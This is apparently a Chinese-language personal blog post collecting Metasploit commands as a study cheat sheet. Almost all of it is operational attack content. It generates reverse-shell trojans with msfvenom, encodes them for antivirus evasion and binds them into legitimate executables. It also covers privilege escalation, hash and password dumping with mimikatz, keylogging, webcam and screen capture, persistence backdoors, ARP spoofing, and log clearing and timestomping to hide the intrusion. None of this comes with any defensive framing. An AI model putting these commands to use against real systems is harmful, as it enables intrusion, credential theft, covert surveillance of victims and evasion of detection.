CYH博客CYH博客

天行健,
君子以自强不息。

Msf命令汇总

记载一篇metasploit的学习笔记吧,方便日后查阅复习。

Msf是kali下的一款强大的工具,开源的安全漏洞检测工具前渗透后渗透阶段都用得到,不过还是后渗透阶段用的多。

Msf用处大致就是exploit攻击,cve攻击,远控木马攻击利用。

Msfconsole  打开msf

Msfconsole -h  帮助选项

Banner  用于查看metasploit的版本信息,利用模块数量、payload数量

模块介绍:

Exploits 渗透攻击模块  主要用于攻击形式

Auxiliary 辅助模块   主要用于信息收集

Payloads 攻击载荷模块  主要用于攻击效果、目标

Encodes 编码模块   主要用于编码转换、隐藏

Post 后渗透测试模块  主要用于渗透后的处理,例如留下后门等

一般使用流程:

search 名称  搜索漏洞

use 模块   选择攻击模块

set RHOST ip  设置攻击ip

set RPORT 445   设置攻击端口

show payloads 查看可用payloads

set payload windows/meterperter/bind_tcp -设置攻击载荷

set LHOST ip  监听会话ip

set LPORT 4444 设置监听的端口

show options 查看设置好的参数

exploit  发起攻击

info 查看所在模块的信息

back   退出当前漏洞模块,选择其他的漏洞模块

exploits:利用系统漏洞进行攻击

payload:成功 exploit 之后,真正在目标系统执行的代码或指令

connect 用于远程链接主机,一般用于内网渗透。

connect 192.168.9.1 8080    connect+IP+端口号

exit 退出msfconsole的命令。

search 漏洞名称 进行漏洞模块或插件的查找

远控木马:

生成Shellcode命令:

msfvenom -p windows/meterpreter/reverse_tcp lhost=ip lport=端口 -f exe -o /root/feizhu/fz.exe

Msfvenom支持众多环境下payload有效载荷,如linux,android,windons等

使用命令查看msfvenom –list payloads 根据需要选择载荷

对shellcode进行编码:

msfvenom -p windows/meterpreter/reverse_tcp -e x86/shikata_ga_nai -i 12 -b ‘\x00’ lhost=ip lport=端口 -f exe -o /root/feizhu/zhu.exe

Msfvenom支持的编码器很多,每个编码器的免杀效果都不一样,根据需要选择。

查看编码器 msfvenom –list encoders

注:不是所有的编码方式都在windows系统上可用

Msf毕竟是开源的,免杀效果不好。

咱们常见的免杀方式有:修改特征码/修改程序入口点/花指令/加壳等

将生成的木马捆绑到其他程序中:

msfvenom -p windows/meterpreter/reverse_tcp LHOST=ip LPORT=端口 -e x86/shikata_ga_nai -x IPradar5.exe(捆绑的程序) -i 12 -k(将进程分离出来) -f exe -o /root/feizhu/fz.exe

监听shellcode (当木马在目标机执行后,用此功能拿到会话,进一步渗透)

use exploit/multi/handler   选择模块

set payload windows/meterpreter/reverse_tcp  设置的payload载荷要跟咱们生成木马时的载荷一致。

set LHOST ip  设置监听的ip

set LPORT 4444  设置监听的端口

exploit  开始监听,完成此步后,在目标机器执行木马即可拿到session会话。

特别注意payload细微区别:

我们选择的payload监听器是有区别的:

windows/shell_reverse_tcp 这个是属于Unstaged。即需要使用nc监听端口来拿
到反弹shell 。 例如:nc -nvlp [端口号]


windows/shell/reverse_tcp 这个是属于Staged。即需要使用msf的
exploit/multi/handler来拿到session会话。

那么通过漏洞攻击或者远控木马拿到sessions会话之后,再进一步渗透,则需要的命令如下:

Meterpreter会话下:

background 把meterpreter后台挂起

sessions -l 查看所有的会话

sessions -i 1 选择会话

shell 获取目标主机的远程命令行shell

ipconfig 查看网络参数

getwd 获取系统工作的当前目录

getuid 查看已经获得的权限

portfwd 端口转发 目标主机上开启了3389,但是只允许特定IP访问,攻击主机无法连接,可以使用portfwd命令把目标主机的3389端口转发到其他端口打开

portfwd add -l 你本机的监听端口 -r 127.0.0.1 -p 3389 将目标机器3389转发到kali本地端口

rdesktop 127.1.1.0:2222 执行windows远程链接,这个端口就是上一步转发的端口。

upload 上传文件到目标主机

upload fz.exe C:\\windows\\system32\

download 将目标主机上的文件下载到我们的攻击主机上

download C:\\users\\wd.txt /root/feizhu/

search  -d  c:\\  -f  *.doc 搜索指定后缀文件

route 显示目标主机上的主机路由表

sysinfo 查看目标主机系统信息

systeminfo 查看系统详细信息及补丁信息

migrate将meterpreter会话移植到另一个进程

migrate 1668(注入进程的pid)  将木马进程注入到系统其他进程

hashdump  读取哈希值

load mimikatz   启动mimikatz

wdigest  读取用户密码(mimikatz下命令)

run getgui -e   开启远程桌面服务

run  getgui  -u  feizhu  -p  feizhu 添加登陆远程桌面的账户密码

提权:

会话下用getsystem 拿到系统最高权限

拿到meterpreter会话后提升最高权限:

1.systeminfo 查看系统补丁信息,查找相关溢出漏洞提权

2.use+漏洞模块 使用漏洞模块

3.set sessions 1 设置进行提权的会话机器

4.查看返回信息,会有一个新的system权限进程,用migrate将原本的会话进程注入到system进程中,拿到最高权限。

使用Bypassuac提权:(当执行getsystem无效时)

1.search bypassuac 搜索模块

2.use 模块名称 使用模块

3.set sessions 会话名称 选择提权的会话

4.run 执行

5.会返回一个新的会话,进到会话若不是最高权限,执行getsystem即可。

拿到meterpreter会话后如何快速有效的提权呢?

大家知道msf中自带的漏洞模块太多,所有咱们可以用msf自带命令帮助咱们进行提权。

1.把session会话挂到后台

2. use post/multi/recon/local_exploit_suggester

3.set LHOST ip

4.set session 1

5.exploit

执行之后看到的结果就是针对当前系统可能提权成功的漏洞利用模块。

注意: 获取到shell后如果出现乱码,使用chcp命令

mimikatz:

load mimikatz #加载mimikatz

msv #获取hash值

Kerberos #获取明文

wdigest #获取系统账户信息

mimikatz_command -f hash:: #获取目标 hash

键盘记录器功能keyscan:

keyscan_start   开启记录目标主机的键盘输入

keyscan_dump   输出截获到的目标键盘输入字符信息

keyscan_stop     停止键盘记录

run vnc 开启远程监控画面

webcam_stream 开启摄像头

migrate 616 关闭对方防火墙

screenshot  截屏

后渗透模块使用:

run  post/windows/gather/enum_applications 获取目标主机软件安装信息

run post/windows/gather/dumplinks获取目标主机上最近访问过的文档、链接信息

run post/windows/gather/enum_ie 读取目标主机IE浏览器cookies等缓存信息,嗅探目标主机登录过的各类账号密码,信息存放在/root/.msf5/loot/目录下。

内网渗透常用命令:

auxiliary/scanner/discovery/arp_sweep arp探测主机存活

auxiliary/scancer/smb/smb_version 存活的445主机

auxiliary/scanner/portscan/syn 端口扫描

auxiliary/scanner/telnet/telnet_version telent服务扫描

auxiliary/scanner/rdp/rdp_scanner 远程桌面服务扫描

auxiliary/scanner/ssh/ssh_version ssh主机扫描

msf路由转发模块:

MSF框架中自带的一个路由转发功能,其实现过程就是MSF框架在已经获取的meterpreter shell的基础上添加一条去往“内网”的路由,此路由的下一跳转发,即网关是MSF攻击平台与被攻击目标建立的一个session会话 。

run  get_local_subnets  查看已拿下的目标主机的内网IP段情况(路由地址)

run autoroute -s ip/24 添加路由(把这个ip段范围加到路由)

run autoroute -p  查看添加的路由

+run autorouute -d  删除添加的路由

然后,咱们可用攻击内网其他机器:

fping -asg 192.168.93.0/24 查看内网在线主机

arpspoof -i eth0 -t 目标IP 网关IP  ARP欺骗

持久后门:

run persistence -S -U -X -i 5 -p 端口 -r ip

-S:系统启动时加载

-U:用户登陆时加载

-X:开机时自动加载

-i:回连的时间间隔

-r:你的接收shell的电脑IP

清除痕迹:

clearev   擦除痕迹

timestomp 将时间统一,减少被发现的概率

常用命令贴出来,方便自己及大家查阅,如有遗漏请联系我,后续不断更新完善。

未经允许不得转载:CYH博客 » Msf命令汇总
分享到: 更多 (0)

CYH博客 带给你想要内容

联系我